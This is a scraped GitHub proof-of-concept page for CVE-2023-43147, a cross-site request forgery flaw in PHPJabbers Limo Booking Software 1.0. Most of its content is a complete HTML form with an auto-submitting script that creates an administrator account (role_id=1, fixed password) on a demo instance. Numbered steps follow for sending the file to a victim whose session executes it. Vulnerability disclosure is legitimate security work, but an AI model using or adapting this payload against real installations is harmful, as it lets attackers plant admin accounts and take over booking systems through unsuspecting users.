Headline
CVE-2023-43147: GitHub - MinoTauro2020/CVE-2023-43147: CVE-2023-43148
PHPJabbers Limo Booking Software 1.0 is vulnerable to Cross Site Request Forgery (CSRF) to add an admin user via the Add Users Function, aka an index.php?controller=pjAdminUsers&action=pjActionCreate URI.
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
1 branch 0 tags
Code
Use Git or checkout with SVN using the web URL.
Open with GitHub Desktop
Download ZIP
Latest commit
Files
Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
# CVE-2023-43147
Vendor: PHPJabbers Vendor Homepage: https://www.phpjabbers.com/ Software Link: https://www.phpjabbers.com/limo-booking-software Version: 1.0 Tested on: Windows 10 Pro Impact: Add an attacker user with admin privileges CVE:
Cross Site Request Forgery vulnerability in limo-booking-software allows a remote attacker to execute add and user with admin privileges
POC 1 - Make an file with with this CODE and SAVE in HTML . If you save a new request to make a CSRF be sure that you change role_id=0 to 1 (role_id=1)
<html> <body> <form action="https://demo.phpjabbers.com/1694190842_980/index.php?controller=pjAdminUsers&action=pjActionCreate" method="POST"> <input type="hidden" name="user_create" value="1" /> <input type="hidden" name="role_id" value="1" /> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="password" value="admin1234" /> <input type="hidden" name="name" value="admintor" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="status" value="T" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('’, '’, ‘/’); document.forms[0].submit(); </script> </body> </html>
2 - Example test.html
3 - Send to the victim
4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button the code will changes in his actually session and one user will add in the panel admin with admin privileges.
Related news
PHPJabbers Limo Booking Software 1.0 is vulnerable to Cross Site Request Forgery (CSRF) via the Add Users Function, aka an index.php?controller=pjAdminUsers&action=pjActionCreate URI.